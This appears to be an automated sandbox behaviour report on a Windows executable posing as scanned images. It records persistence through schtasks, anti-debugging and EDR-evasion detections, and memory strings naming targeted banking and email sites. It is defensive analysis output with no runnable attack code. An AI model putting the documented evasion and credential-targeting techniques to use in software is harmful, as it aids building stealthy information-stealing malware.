Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\schtasks.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Uses schtasks.exe or at.exe to add and modify task schedules

Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Static file information: File size 1211904 > 1048576

Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: schtasks.pdb source: svchost.exe, 00000002.00000003.1592887920.0000000002649000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1592887920.000000000261A000.00000004.00000020.00020000.00000000.sdmp, XraVxjqYYo.exe, 00000008.00000002.3806174730.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, XraVxjqYYo.exe, 00000008.00000002.3806174730.0000000000B04000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: XraVxjqYYo.exe, 00000008.00000000.1545991574.000000000046E000.00000002.00000001.01000000.00000005.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3798030876.000000000046E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe, 00000000.00000003.1333185722.0000000003F80000.00000004.00001000.00020000.00000000.sdmp, Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe, 00000000.00000003.1334363237.0000000004120000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1625220837.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1530797185.0000000002900000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1625220837.0000000002E9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1532825670.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, 00000009.00000002.3810622511.000000000301E000.00000040.00001000.00020000.00000000.sdmp, schtasks.exe, 00000009.00000003.1627214817.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, 00000009.00000002.3810622511.0000000002E80000.00000040.00001000.00020000.00000000.sdmp, schtasks.exe, 00000009.00000003.1625049218.0000000002B16000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe, 00000000.00000003.1333185722.0000000003F80000.00000004.00001000.00020000.00000000.sdmp, Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe, 00000000.00000003.1334363237.0000000004120000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.1625220837.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1530797185.0000000002900000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1625220837.0000000002E9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1532825670.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, schtasks.exe, 00000009.00000002.3810622511.000000000301E000.00000040.00001000.00020000.00000000.sdmp, schtasks.exe, 00000009.00000003.1627214817.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, 00000009.00000002.3810622511.0000000002E80000.00000040.00001000.00020000.00000000.sdmp, schtasks.exe, 00000009.00000003.1625049218.0000000002B16000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: schtasks.exe, 00000009.00000002.3811492832.00000000034AC000.00000004.10000000.00040000.00000000.sdmp, schtasks.exe, 00000009.00000002.3801096520.00000000028E4000.00000004.00000020.00020000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000000.1696350380.0000000002FDC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000C.00000002.1913594135.0000000023C5C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: schtasks.pdbGCTL source: svchost.exe, 00000002.00000003.1592887920.0000000002649000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1592887920.000000000261A000.00000004.00000020.00020000.00000000.sdmp, XraVxjqYYo.exe, 00000008.00000002.3806174730.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, XraVxjqYYo.exe, 00000008.00000002.3806174730.0000000000B04000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: schtasks.exe, 00000009.00000002.3811492832.00000000034AC000.00000004.10000000.00040000.00000000.sdmp, schtasks.exe, 00000009.00000002.3801096520.00000000028E4000.00000004.00000020.00020000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000000.1696350380.0000000002FDC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000C.00000002.1913594135.0000000023C5C000.00000004.80000000.00040000.00000000.sdmp

Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A9C304 LoadLibraryA,GetProcAddress,

0_2_00A9C304

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A48B85 push ecx; ret	0_2_00A48B98
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02132210 push ecx; iretd	2_2_0213222E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0213E2B4 push ss; ret	2_2_0213E2C5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0213E36A push edx; iretd	2_2_0213E372
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0212209E push esp; ret	2_2_021220A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_021250AF push 660EA6FEh; ret	2_2_021250B4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_021321DC push ebp; retf	2_2_021321F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_021321DC push ecx; iretd	2_2_0213222E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_021219E0 push esp; ret	2_2_02121A04
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02123660 push eax; ret	2_2_02123662
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_021276F8 push edi; retf	2_2_0212771F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0212D48B pushfd ; ret	2_2_0212D48F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02139D8E push ss; ret	2_2_02139D8F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0213A5AB push ss; retf	2_2_0213A645
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0213E5F3 push D1A60662h; ret	2_2_0213E5F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_021345F7 push eax; iretd	2_2_02134687
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D0225F pushad ; ret	2_2_02D027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D027FA pushad ; ret	2_2_02D027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D0283D push eax; iretd	2_2_02D02858
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D309AD push ecx; mov dword ptr [esp], ecx	2_2_02D309B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D01368 push eax; iretd	2_2_02D01369
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Code function: 8_2_0323C39F push 195B6DB7h; iretd	8_2_0323C3A6
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Code function: 8_2_0323CA09 pushfd ; retf	8_2_0323CA0D
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Code function: 8_2_03220A77 push edi; retf	8_2_03220A8C
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Code function: 8_2_03233918 push ss; retf	8_2_032339B2
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Code function: 8_2_03237960 push D1A60662h; ret	8_2_03237965
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Code function: 8_2_032380B1 push FFFFFFFDh; ret	8_2_032380B4
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Code function: 8_2_032330FB push ss; ret	8_2_032330FC
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Code function: 8_2_032267F8 pushfd ; ret	8_2_032267FC
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Code function: 8_2_03237621 push ss; ret	8_2_03237632
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Code function: 8_2_032376D7 push edx; iretd	8_2_032376DF

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	File created: \scanned-imgs_from bumi wangsa tms sdn bhd..exe
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	File created: \scanned-imgs_from bumi wangsa tms sdn bhd..exe			Jump to behavior

Boot Survival

Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\SysWOW64\schtasks.exe"

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A24A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00A24A35
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00AA55FD IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00AA55FD

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A433C7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00A433C7

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	API/Special instruction interceptor: Address: 1693224
Source: C:\Windows\SysWOW64\schtasks.exe	API/Special instruction interceptor: Address: 7FF90818D324
Source: C:\Windows\SysWOW64\schtasks.exe	API/Special instruction interceptor: Address: 7FF90818D944
Source: C:\Windows\SysWOW64\schtasks.exe	API/Special instruction interceptor: Address: 7FF90818D504
Source: C:\Windows\SysWOW64\schtasks.exe	API/Special instruction interceptor: Address: 7FF90818D544
Source: C:\Windows\SysWOW64\schtasks.exe	API/Special instruction interceptor: Address: 7FF90818D1E4
Source: C:\Windows\SysWOW64\schtasks.exe	API/Special instruction interceptor: Address: 7FF908190154
Source: C:\Windows\SysWOW64\schtasks.exe	API/Special instruction interceptor: Address: 7FF90818DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_02D7096E rdtsc

2_2_02D7096E

Source: C:\Windows\SysWOW64\schtasks.exe	Window / User API: threadDelayed 3013			Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Window / User API: threadDelayed 6959			Jump to behavior

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Evaded block: after key decision

graph_0-99610

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-100753

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	API coverage: 4.8 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.6 %
Source: C:\Windows\SysWOW64\schtasks.exe	API coverage: 2.3 %

Source: C:\Windows\SysWOW64\schtasks.exe TID: 2148	Thread sleep count: 3013 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe TID: 2148	Thread sleep time: -6026000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe TID: 2148	Thread sleep count: 6959 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe TID: 2148	Thread sleep time: -13918000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe TID: 2624	Thread sleep time: -65000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe TID: 2624	Thread sleep time: -52500s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe TID: 2624	Thread sleep time: -36000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\schtasks.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\schtasks.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A84696 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00A84696
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A8C9C7 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00A8C9C7
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A8C93C FindFirstFileW,FindClose,	0_2_00A8C93C
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A8F200 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00A8F200
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A8F35D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00A8F35D
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A8F65E FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00A8F65E
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A83A2B FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00A83A2B
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A83D4E FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00A83D4E
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A8BF27 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00A8BF27
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_026CBAB0 FindFirstFileW,FindNextFileW,FindClose,	9_2_026CBAB0

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A24AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00A24AFE

Source: j0941BH0.9.dr	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: j0941BH0.9.dr	Binary or memory string: global block list test formVMware20,11696497155
Source: j0941BH0.9.dr	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: j0941BH0.9.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: j0941BH0.9.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: XraVxjqYYo.exe, 0000000A.00000002.3808040065.0000000001219000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllk
Source: j0941BH0.9.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: j0941BH0.9.dr	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: j0941BH0.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: j0941BH0.9.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: firefox.exe, 0000000C.00000002.1915319420.0000023723C0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: j0941BH0.9.dr	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: j0941BH0.9.dr	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: j0941BH0.9.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: j0941BH0.9.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: j0941BH0.9.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: j0941BH0.9.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: j0941BH0.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: j0941BH0.9.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: j0941BH0.9.dr	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: schtasks.exe, 00000009.00000002.3801096520.00000000028E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll=4et
Source: j0941BH0.9.dr	Binary or memory string: AMC password management pageVMware20,11696497155
Source: j0941BH0.9.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: j0941BH0.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: j0941BH0.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: j0941BH0.9.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: j0941BH0.9.dr	Binary or memory string: discord.comVMware20,11696497155f
Source: j0941BH0.9.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: j0941BH0.9.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: j0941BH0.9.dr	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: j0941BH0.9.dr	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: j0941BH0.9.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: j0941BH0.9.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: j0941BH0.9.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_02D7096E rdtsc

2_2_02D7096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_02137783 LdrLoadDll,

2_2_02137783

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A941FD BlockInput,

0_2_00A941FD

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A23B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00A23B4C

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A55CCC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00A55CCC

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A9C304 LoadLibraryA,GetProcAddress,

0_2_00A9C304

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_016934F0 mov eax, dword ptr fs:[00000030h]	0_2_016934F0
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_01693490 mov eax, dword ptr fs:[00000030h]	0_2_01693490
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_01691E70 mov eax, dword ptr fs:[00000030h]	0_2_01691E70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_02D3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_02D3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_02D3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_02D3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_02D3A2C3
